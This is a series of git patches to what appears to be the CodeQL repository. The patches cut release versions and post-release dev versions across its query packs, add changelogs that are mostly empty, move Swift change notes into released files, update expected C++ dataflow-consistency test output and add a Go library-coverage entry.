-1,5 +1,5 @@ name: codeql/typeinference -version: 0.0.5-dev +version: 0.0.5 groups: shared library: true dependencies: diff --git a/shared/typetracking/CHANGELOG.md b/shared/typetracking/CHANGELOG.md index 16294923597..731844b4af3 100644 --- a/shared/typetracking/CHANGELOG.md +++ b/shared/typetracking/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.8 + +No user-facing changes. + ## 2.0.7 No user-facing changes. diff --git a/shared/typetracking/change-notes/released/2.0.8.md b/shared/typetracking/change-notes/released/2.0.8.md new file mode 100644 index 00000000000..4d6867c721b --- /dev/null +++ b/shared/typetracking/change-notes/released/2.0.8.md @@ -0,0 +1,3 @@ +## 2.0.8 + +No user-facing changes. diff --git a/shared/typetracking/codeql-pack.release.yml b/shared/typetracking/codeql-pack.release.yml index 08d5e959449..7ffb2d9f65b 100644 --- a/shared/typetracking/codeql-pack.release.yml +++ b/shared/typetracking/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.7 +lastReleaseVersion: 2.0.8 diff --git a/shared/typetracking/qlpack.yml b/shared/typetracking/qlpack.yml index eef6fe52e66..82a30f6cec3 100644 --- a/shared/typetracking/qlpack.yml +++ b/shared/typetracking/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typetracking -version: 2.0.8-dev +version: 2.0.8 groups: shared library: true dependencies: diff --git a/shared/typos/CHANGELOG.md b/shared/typos/CHANGELOG.md index c7ff1a773da..a81f798d14c 100644 --- a/shared/typos/CHANGELOG.md +++ b/shared/typos/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/typos/change-notes/released/1.0.24.md b/shared/typos/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/typos/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/typos/codeql-pack.release.yml b/shared/typos/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/shared/typos/codeql-pack.release.yml +++ b/shared/typos/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/typos/qlpack.yml b/shared/typos/qlpack.yml index 93833e02e66..37b28642685 100644 --- a/shared/typos/qlpack.yml +++ b/shared/typos/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typos -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true warnOnImplicitThis: true diff --git a/shared/util/CHANGELOG.md b/shared/util/CHANGELOG.md index f6f7838bc2e..70486f1eeb4 100644 --- a/shared/util/CHANGELOG.md +++ b/shared/util/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.11 + +No user-facing changes. + ## 2.0.10 No user-facing changes. diff --git a/shared/util/change-notes/released/2.0.11.md b/shared/util/change-notes/released/2.0.11.md new file mode 100644 index 00000000000..b3d110bcba5 --- /dev/null +++ b/shared/util/change-notes/released/2.0.11.md @@ -0,0 +1,3 @@ +## 2.0.11 + +No user-facing changes. diff --git a/shared/util/codeql-pack.release.yml b/shared/util/codeql-pack.release.yml index 96ea0220a69..3cbe73b4cad 100644 --- a/shared/util/codeql-pack.release.yml +++ b/shared/util/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.10 +lastReleaseVersion: 2.0.11 diff --git a/shared/util/qlpack.yml b/shared/util/qlpack.yml index e4cfbd97b6e..7da687aff4e 100644 --- a/shared/util/qlpack.yml +++ b/shared/util/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/util -version: 2.0.11-dev +version: 2.0.11 groups: shared library: true dependencies: null diff --git a/shared/xml/CHANGELOG.md b/shared/xml/CHANGELOG.md index bdb83dc8830..43afc43456b 100644 --- a/shared/xml/CHANGELOG.md +++ b/shared/xml/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/xml/change-notes/released/1.0.24.md b/shared/xml/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/xml/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/xml/codeql-pack.release.yml b/shared/xml/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/shared/xml/codeql-pack.release.yml +++ b/shared/xml/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/xml/qlpack.yml b/shared/xml/qlpack.yml index 73910c05517..790a260ddad 100644 --- a/shared/xml/qlpack.yml +++ b/shared/xml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/xml -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true dependencies: diff --git a/shared/yaml/CHANGELOG.md b/shared/yaml/CHANGELOG.md index 28ca258e0d5..a324870b225 100644 --- a/shared/yaml/CHANGELOG.md +++ b/shared/yaml/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/yaml/change-notes/released/1.0.24.md b/shared/yaml/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/yaml/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/yaml/codeql-pack.release.yml b/shared/yaml/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/shared/yaml/codeql-pack.release.yml +++ b/shared/yaml/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/yaml/qlpack.yml b/shared/yaml/qlpack.yml index dabb1a33505..56e0c9d83e0 100644 --- a/shared/yaml/qlpack.yml +++ b/shared/yaml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/yaml -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true warnOnImplicitThis: true diff --git a/swift/ql/lib/CHANGELOG.md b/swift/ql/lib/CHANGELOG.md index 1c9326d76e8..fe8bfd82364 100644 --- a/swift/ql/lib/CHANGELOG.md +++ b/swift/ql/lib/CHANGELOG.md @@ -1,3 +1,20 @@ +## 5.0.0 + +### Breaking Changes + +* Deleted the deprecated `parseContent` predicate from the `ExternalFlow.qll`. +* Deleted the deprecated `hasLocationInfo` predicate from the `DataFlowPublic.qll`. +* Deleted the deprecated `SummaryComponent` class from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponentStack` class from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponent` module from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponentStack` module from the `FlowSummary.qll`. +* Deleted the deprecated `RequiredSummaryComponentStack` class from the `FlowSummary.qll`. + +### Minor Analysis Improvements + +* Updated to allow analysis of Swift 6.1.1. +* `TypeValueExpr` experimental AST leaf is now implemented in the control flow library + ## 4.3.0 ### New Features diff --git a/swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md b/swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md deleted file mode 100644 index aa3282d3326..00000000000 --- a/swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* `TypeValueExpr` experimental AST leaf is now implemented in the control flow library diff --git a/swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md b/swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md deleted file mode 100644 index 19101e5b615..00000000000 --- a/swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md +++ /dev/null @@ -1,5 +0,0 @@ - ---- -category: minorAnalysis ---- -* Updated to allow analysis of Swift 6.1.1. diff --git a/swift/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md b/swift/ql/lib/change-notes/released/5.0.0.md similarity index 74% rename from swift/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md rename to swift/ql/lib/change-notes/released/5.0.0.md index 072e6bba5cd..7215a40e396 100644 --- a/swift/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md +++ b/swift/ql/lib/change-notes/released/5.0.0.md @@ -1,6 +1,7 @@ ---- -category: breaking ---- +## 5.0.0 + +### Breaking Changes + * Deleted the deprecated `parseContent` predicate from the `ExternalFlow.qll`. * Deleted the deprecated `hasLocationInfo` predicate from the `DataFlowPublic.qll`. * Deleted the deprecated `SummaryComponent` class from the `FlowSummary.qll`. @@ -8,3 +9,8 @@ category: breaking * Deleted the deprecated `SummaryComponent` module from the `FlowSummary.qll`. * Deleted the deprecated `SummaryComponentStack` module from the `FlowSummary.qll`. * Deleted the deprecated `RequiredSummaryComponentStack` class from the `FlowSummary.qll`. + +### Minor Analysis Improvements + +* Updated to allow analysis of Swift 6.1.1. +* `TypeValueExpr` experimental AST leaf is now implemented in the control flow library diff --git a/swift/ql/lib/codeql-pack.release.yml b/swift/ql/lib/codeql-pack.release.yml index c46c103a0bd..c9e54136ca5 100644 --- a/swift/ql/lib/codeql-pack.release.yml +++ b/swift/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.3.0 +lastReleaseVersion: 5.0.0 diff --git a/swift/ql/lib/qlpack.yml b/swift/ql/lib/qlpack.yml index ebc4b83f267..183fbd25458 100644 --- a/swift/ql/lib/qlpack.yml +++ b/swift/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-all -version: 4.3.1-dev +version: 5.0.0 groups: swift extractor: swift dbscheme: swift.dbscheme diff --git a/swift/ql/src/CHANGELOG.md b/swift/ql/src/CHANGELOG.md index 7910cf095ce..7faf32ba841 100644 --- a/swift/ql/src/CHANGELOG.md +++ b/swift/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.1.4 + +### Minor Analysis Improvements + +* The queries `swift/hardcoded-key` and `swift/constant-password` have been removed from all query suites. + ## 1.1.3 No user-facing changes. diff --git a/swift/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/swift/ql/src/change-notes/released/1.1.4.md similarity index 71% rename from swift/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to swift/ql/src/change-notes/released/1.1.4.md index cc524d8c34d..2a8b2c9cda6 100644 --- a/swift/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/swift/ql/src/change-notes/released/1.1.4.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.1.4 + +### Minor Analysis Improvements + * The queries `swift/hardcoded-key` and `swift/constant-password` have been removed from all query suites. diff --git a/swift/ql/src/codeql-pack.release.yml b/swift/ql/src/codeql-pack.release.yml index 35e710ab1bf..26cbcd3f123 100644 --- a/swift/ql/src/codeql-pack.release.yml +++ b/swift/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.1.3 +lastReleaseVersion: 1.1.4 diff --git a/swift/ql/src/qlpack.yml b/swift/ql/src/qlpack.yml index 7f727988f7c..2768bcab8fd 100644 --- a/swift/ql/src/qlpack.yml +++ b/swift/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-queries -version: 1.1.4-dev +version: 1.1.4 groups: - swift - queries From d2c6875eac743d9dd93f336d1e9d3869663c61b4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 27 May 2025 18:16:21 +0000 Subject: [PATCH 24/36] Post-release preparation for codeql-cli-2.21.4 --- actions/ql/lib/qlpack.yml | 2 +- actions/ql/src/qlpack.yml | 2 +- cpp/ql/lib/qlpack.yml | 2 +- cpp/ql/src/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/lib/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/src/qlpack.yml | 2 +- csharp/ql/lib/qlpack.yml | 2 +- csharp/ql/src/qlpack.yml | 2 +- go/ql/consistency-queries/qlpack.yml | 2 +- go/ql/lib/qlpack.yml | 2 +- go/ql/src/qlpack.yml | 2 +- java/ql/lib/qlpack.yml | 2 +- java/ql/src/qlpack.yml | 2 +- javascript/ql/lib/qlpack.yml | 2 +- javascript/ql/src/qlpack.yml | 2 +- misc/suite-helpers/qlpack.yml | 2 +- python/ql/lib/qlpack.yml | 2 +- python/ql/src/qlpack.yml | 2 +- ruby/ql/lib/qlpack.yml | 2 +- ruby/ql/src/qlpack.yml | 2 +- rust/ql/lib/qlpack.yml | 2 +- rust/ql/src/qlpack.yml | 2 +- shared/controlflow/qlpack.yml | 2 +- shared/dataflow/qlpack.yml | 2 +- shared/mad/qlpack.yml | 2 +- shared/quantum/qlpack.yml | 2 +- shared/rangeanalysis/qlpack.yml | 2 +- shared/regex/qlpack.yml | 2 +- shared/ssa/qlpack.yml | 2 +- shared/threat-models/qlpack.yml | 2 +- shared/tutorial/qlpack.yml | 2 +- shared/typeflow/qlpack.yml | 2 +- shared/typeinference/qlpack.yml | 2 +- shared/typetracking/qlpack.yml | 2 +- shared/typos/qlpack.yml | 2 +- shared/util/qlpack.yml | 2 +- shared/xml/qlpack.yml | 2 +- shared/yaml/qlpack.yml | 2 +- swift/ql/lib/qlpack.yml | 2 +- swift/ql/src/qlpack.yml | 2 +- 40 files changed, 40 insertions(+), 40 deletions(-) diff --git a/actions/ql/lib/qlpack.yml b/actions/ql/lib/qlpack.yml index c500ec3617b..7a7de08379b 100644 --- a/actions/ql/lib/qlpack.yml +++ b/actions/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-all -version: 0.4.10 +version: 0.4.11-dev library: true warnOnImplicitThis: true dependencies: diff --git a/actions/ql/src/qlpack.yml b/actions/ql/src/qlpack.yml index 5c2a1dfbb1f..3d1ae2cb47f 100644 --- a/actions/ql/src/qlpack.yml +++ b/actions/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-queries -version: 0.6.2 +version: 0.6.3-dev library: false warnOnImplicitThis: true groups: [actions, queries] diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml index f5c88301895..70d56bab29d 100644 --- a/cpp/ql/lib/qlpack.yml +++ b/cpp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-all -version: 5.0.0 +version: 5.0.1-dev groups: cpp dbscheme: semmlecode.cpp.dbscheme extractor: cpp diff --git a/cpp/ql/src/qlpack.yml b/cpp/ql/src/qlpack.yml index aa04ab588e4..bdef1897e30 100644 --- a/cpp/ql/src/qlpack.yml +++ b/cpp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-queries -version: 1.4.1 +version: 1.4.2-dev groups: - cpp - queries diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml index e4e790c02b4..cd4f81e57d6 100644 --- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-all -version: 1.7.41 +version: 1.7.42-dev groups: - csharp - solorigate diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml index 68c2a91ba49..75b5716c232 100644 --- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-queries -version: 1.7.41 +version: 1.7.42-dev groups: - csharp - solorigate diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml index 6f5c0b15f3a..8404a7c29a6 100644 --- a/csharp/ql/lib/qlpack.yml +++ b/csharp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-all -version: 5.1.7 +version: 5.1.8-dev groups: csharp dbscheme: semmlecode.csharp.dbscheme extractor: csharp diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml index 59800dabbdb..df26e2790d3 100644 --- a/csharp/ql/src/qlpack.yml +++ b/csharp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-queries -version: 1.2.1 +version: 1.2.2-dev groups: - csharp - queries diff --git a/go/ql/consistency-queries/qlpack.yml b/go/ql/consistency-queries/qlpack.yml index ce75cf33047..ba1482c8125 100644 --- a/go/ql/consistency-queries/qlpack.yml +++ b/go/ql/consistency-queries/qlpack.yml @@ -1,5 +1,5 @@ name: codeql-go-consistency-queries -version: 1.0.24 +version: 1.0.25-dev groups: - go - queries diff --git a/go/ql/lib/qlpack.yml b/go/ql/lib/qlpack.yml index 49a4a809f13..09e8ba0d027 100644 --- a/go/ql/lib/qlpack.yml +++ b/go/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-all -version: 4.2.6 +version: 4.2.7-dev groups: go dbscheme: go.dbscheme extractor: go diff --git a/go/ql/src/qlpack.yml b/go/ql/src/qlpack.yml index 20e37c247ef..adaa22f4cbd 100644 --- a/go/ql/src/qlpack.yml +++ b/go/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-queries -version: 1.2.1 +version: 1.2.2-dev groups: - go - queries diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml index 44271dee46b..c5780e1015e 100644 --- a/java/ql/lib/qlpack.yml +++ b/java/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-all -version: 7.3.0 +version: 7.3.1-dev groups: java dbscheme: config/semmlecode.dbscheme extractor: java diff --git a/java/ql/src/qlpack.yml b/java/ql/src/qlpack.yml index 2938ce64cb3..bd64dd0d176 100644 --- a/java/ql/src/qlpack.yml +++ b/java/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-queries -version: 1.5.1 +version: 1.5.2-dev groups: - java - queries diff --git a/javascript/ql/lib/qlpack.yml b/javascript/ql/lib/qlpack.yml index d28403132c4..dfead0f953d 100644 --- a/javascript/ql/lib/qlpack.yml +++ b/javascript/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-all -version: 2.6.4 +version: 2.6.5-dev groups: javascript dbscheme: semmlecode.javascript.dbscheme extractor: javascript diff --git a/javascript/ql/src/qlpack.yml b/javascript/ql/src/qlpack.yml index 986f2be84e6..2fb51f3e092 100644 --- a/javascript/ql/src/qlpack.yml +++ b/javascript/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-queries -version: 1.6.1 +version: 1.6.2-dev groups: - javascript - queries diff --git a/misc/suite-helpers/qlpack.yml b/misc/suite-helpers/qlpack.yml index e19aa4923af..d38442ce1fd 100644 --- a/misc/suite-helpers/qlpack.yml +++ b/misc/suite-helpers/qlpack.yml @@ -1,4 +1,4 @@ name: codeql/suite-helpers -version: 1.0.24 +version: 1.0.25-dev groups: shared warnOnImplicitThis: true diff --git a/python/ql/lib/qlpack.yml b/python/ql/lib/qlpack.yml index e328f386c56..ce0240ccb88 100644 --- a/python/ql/lib/qlpack.yml +++ b/python/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-all -version: 4.0.8 +version: 4.0.9-dev groups: python dbscheme: semmlecode.python.dbscheme extractor: python diff --git a/python/ql/src/qlpack.yml b/python/ql/src/qlpack.yml index d29907ecbe8..98db7d0387e 100644 --- a/python/ql/src/qlpack.yml +++ b/python/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-queries -version: 1.5.1 +version: 1.5.2-dev groups: - python - queries diff --git a/ruby/ql/lib/qlpack.yml b/ruby/ql/lib/qlpack.yml index a13854cf27a..430cc1e2fc3 100644 --- a/ruby/ql/lib/qlpack.yml +++ b/ruby/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-all -version: 4.1.7 +version: 4.1.8-dev groups: ruby extractor: ruby dbscheme: ruby.dbscheme diff --git a/ruby/ql/src/qlpack.yml b/ruby/ql/src/qlpack.yml index 7247e94124a..f6b5e50f8fc 100644 --- a/ruby/ql/src/qlpack.yml +++ b/ruby/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-queries -version: 1.3.1 +version: 1.3.2-dev groups: - ruby - queries diff --git a/rust/ql/lib/qlpack.yml b/rust/ql/lib/qlpack.yml index 17dea235850..ff0621bad83 100644 --- a/rust/ql/lib/qlpack.yml +++ b/rust/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-all -version: 0.1.9 +version: 0.1.10-dev groups: rust extractor: rust dbscheme: rust.dbscheme diff --git a/rust/ql/src/qlpack.yml b/rust/ql/src/qlpack.yml index ddd0cee92d5..fcda5b64ede 100644 --- a/rust/ql/src/qlpack.yml +++ b/rust/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-queries -version: 0.1.9 +version: 0.1.10-dev groups: - rust - queries diff --git a/shared/controlflow/qlpack.yml b/shared/controlflow/qlpack.yml index ea02e74b8d4..0ef97923900 100644 --- a/shared/controlflow/qlpack.yml +++ b/shared/controlflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/controlflow -version: 2.0.8 +version: 2.0.9-dev groups: shared library: true dependencies: diff --git a/shared/dataflow/qlpack.yml b/shared/dataflow/qlpack.yml index 9fa1e52fdb3..6b6f61cd239 100644 --- a/shared/dataflow/qlpack.yml +++ b/shared/dataflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/dataflow -version: 2.0.8 +version: 2.0.9-dev groups: shared library: true dependencies: diff --git a/shared/mad/qlpack.yml b/shared/mad/qlpack.yml index c06bf28103e..2b40a4719fc 100644 --- a/shared/mad/qlpack.yml +++ b/shared/mad/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/mad -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true dependencies: diff --git a/shared/quantum/qlpack.yml b/shared/quantum/qlpack.yml index e8f696ad279..4f0b7759869 100644 --- a/shared/quantum/qlpack.yml +++ b/shared/quantum/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/quantum -version: 0.0.2 +version: 0.0.3-dev groups: shared library: true dependencies: diff --git a/shared/rangeanalysis/qlpack.yml b/shared/rangeanalysis/qlpack.yml index b9165e57d30..10f6a89e956 100644 --- a/shared/rangeanalysis/qlpack.yml +++ b/shared/rangeanalysis/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rangeanalysis -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true dependencies: diff --git a/shared/regex/qlpack.yml b/shared/regex/qlpack.yml index 84c4b249f57..66614e15d12 100644 --- a/shared/regex/qlpack.yml +++ b/shared/regex/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/regex -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true dependencies: diff --git a/shared/ssa/qlpack.yml b/shared/ssa/qlpack.yml index 03bab1e1650..6b5972aabb0 100644 --- a/shared/ssa/qlpack.yml +++ b/shared/ssa/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ssa -version: 2.0.0 +version: 2.0.1-dev groups: shared library: true dependencies: diff --git a/shared/threat-models/qlpack.yml b/shared/threat-models/qlpack.yml index 328719e2a0d..a1a2ee0a7f2 100644 --- a/shared/threat-models/qlpack.yml +++ b/shared/threat-models/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/threat-models -version: 1.0.24 +version: 1.0.25-dev library: true groups: shared dataExtensions: diff --git a/shared/tutorial/qlpack.yml b/shared/tutorial/qlpack.yml index b9b63085e1f..d003a55f26e 100644 --- a/shared/tutorial/qlpack.yml +++ b/shared/tutorial/qlpack.yml @@ -1,7 +1,7 @@ name: codeql/tutorial description: Library for the CodeQL detective tutorials, helping new users learn to write CodeQL queries. -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true warnOnImplicitThis: true diff --git a/shared/typeflow/qlpack.yml b/shared/typeflow/qlpack.yml index 5b91c29a4de..a9162922bde 100644 --- a/shared/typeflow/qlpack.yml +++ b/shared/typeflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeflow -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true dependencies: diff --git a/shared/typeinference/qlpack.yml b/shared/typeinference/qlpack.yml index 93bbac0b367..459a6a4a172 100644 --- a/shared/typeinference/qlpack.yml +++ b/shared/typeinference/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeinference -version: 0.0.5 +version: 0.0.6-dev groups: shared library: true dependencies: diff --git a/shared/typetracking/qlpack.yml b/shared/typetracking/qlpack.yml index 82a30f6cec3..91b9a990ba8 100644 --- a/shared/typetracking/qlpack.yml +++ b/shared/typetracking/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typetracking -version: 2.0.8 +version: 2.0.9-dev groups: shared library: true dependencies: diff --git a/shared/typos/qlpack.yml b/shared/typos/qlpack.yml index 37b28642685..bedd7763f80 100644 --- a/shared/typos/qlpack.yml +++ b/shared/typos/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typos -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true warnOnImplicitThis: true diff --git a/shared/util/qlpack.yml b/shared/util/qlpack.yml index 7da687aff4e..ba1cdd04daf 100644 --- a/shared/util/qlpack.yml +++ b/shared/util/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/util -version: 2.0.11 +version: 2.0.12-dev groups: shared library: true dependencies: null diff --git a/shared/xml/qlpack.yml b/shared/xml/qlpack.yml index 790a260ddad..023376cee30 100644 --- a/shared/xml/qlpack.yml +++ b/shared/xml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/xml -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true dependencies: diff --git a/shared/yaml/qlpack.yml b/shared/yaml/qlpack.yml index 56e0c9d83e0..4b28cce1b1c 100644 --- a/shared/yaml/qlpack.yml +++ b/shared/yaml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/yaml -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true warnOnImplicitThis: true diff --git a/swift/ql/lib/qlpack.yml b/swift/ql/lib/qlpack.yml index 183fbd25458..efb8506e6ca 100644 --- a/swift/ql/lib/qlpack.yml +++ b/swift/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-all -version: 5.0.0 +version: 5.0.1-dev groups: swift extractor: swift dbscheme: swift.dbscheme diff --git a/swift/ql/src/qlpack.yml b/swift/ql/src/qlpack.yml index 2768bcab8fd..71a570bb9d8 100644 --- a/swift/ql/src/qlpack.yml +++ b/swift/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-queries -version: 1.1.4 +version: 1.1.5-dev groups: - swift - queries From 149c53bef66fd9b592692801bbc7524cbe52d296 Mon Sep 17 00:00:00 2001 From: idrissrio Date: Tue, 20 May 2025 09:08:59 +0200 Subject: [PATCH 25/36] C++: accept new test results after changes --- .../library-tests/syntax-zoo/dataflow-consistency.expected | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected b/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected index 064c4e01e2b..b516aa0ce87 100644 --- a/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected +++ b/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected @@ -1,4 +1,10 @@ uniqueEnclosingCallable +| builtin.c:14:3:14:16 | ... * ... | Node should have one enclosing callable but has 0. | +| builtin.c:14:3:14:16 | sizeof(int) | Node should have one enclosing callable but has 0. | +| builtin.c:14:10:14:10 | 4 | Node should have one enclosing callable but has 0. | +| builtin.c:15:3:15:16 | ... * ... | Node should have one enclosing callable but has 0. | +| builtin.c:15:3:15:16 | sizeof(int) | Node should have one enclosing callable but has 0. | +| builtin.c:15:10:15:10 | 4 | Node should have one enclosing callable but has 0. | | enum.c:2:6:2:6 | 1 | Node should have one enclosing callable but has 0. | | enum.c:2:6:2:10 | ... + ... | Node should have one enclosing callable but has 0. | | enum.c:2:10:2:10 | 1 | Node should have one enclosing callable but has 0. | From 401911e1858c74480b52dc6676672e30ea98b83d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Thu, 5 Jun 2025 00:24:03 +0000 Subject: [PATCH 26/36] Add changed framework coverage reports --- go/documentation/library-coverage/coverage.csv | 1 + go/documentation/library-coverage/coverage.rst | 6 +++--- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/go/documentation/library-coverage/coverage.csv b/go/documentation/library-coverage/coverage.csv index 2aed94d84a5..2826d79047d 100644 --- a/go/documentation/library-coverage/coverage.csv +++ b/go/documentation/library-coverage/coverage.csv @@ -5,6 +5,7 @@ archive/zip,,,6,,,,,,,,,,,,,,,,,,,,,,,6, bufio,,,17,,,,,,,,,,,,,,,,,,,,,,,17, bytes,,,43,,,,,,,,,,,,,,,,,,,,,,,43, clevergo.tech/clevergo,1,,,,,,,,,,,,,,,,,1,,,,,,,,, +cloud.google.com/go/bigquery,1,,,,,,,,,,,,,,1,,,,,,,,,,,, compress/bzip2,,,1,,,,,,,,,,,,,,,,,,,,,,,1, compress/flate,,,4,,,,,,,,,,,,,,,,,,,,,,,4, compress/gzip,,,3,,,,,,,,,,,,,,,,,,,,,,,3, diff --git a/go/documentation/library-coverage/coverage.rst b/go/documentation/library-coverage/coverage.rst index cad7baeb70f..b54a425300f 100644 --- a/go/documentation/library-coverage/coverage.rst +++ b/go/documentation/library-coverage/coverage.rst @@ -37,6 +37,7 @@ Go framework & library support `XPath `_,``github.com/antchfx/xpath*``,,,4 `appleboy/gin-jwt `_,``github.com/appleboy/gin-jwt*``,,,1 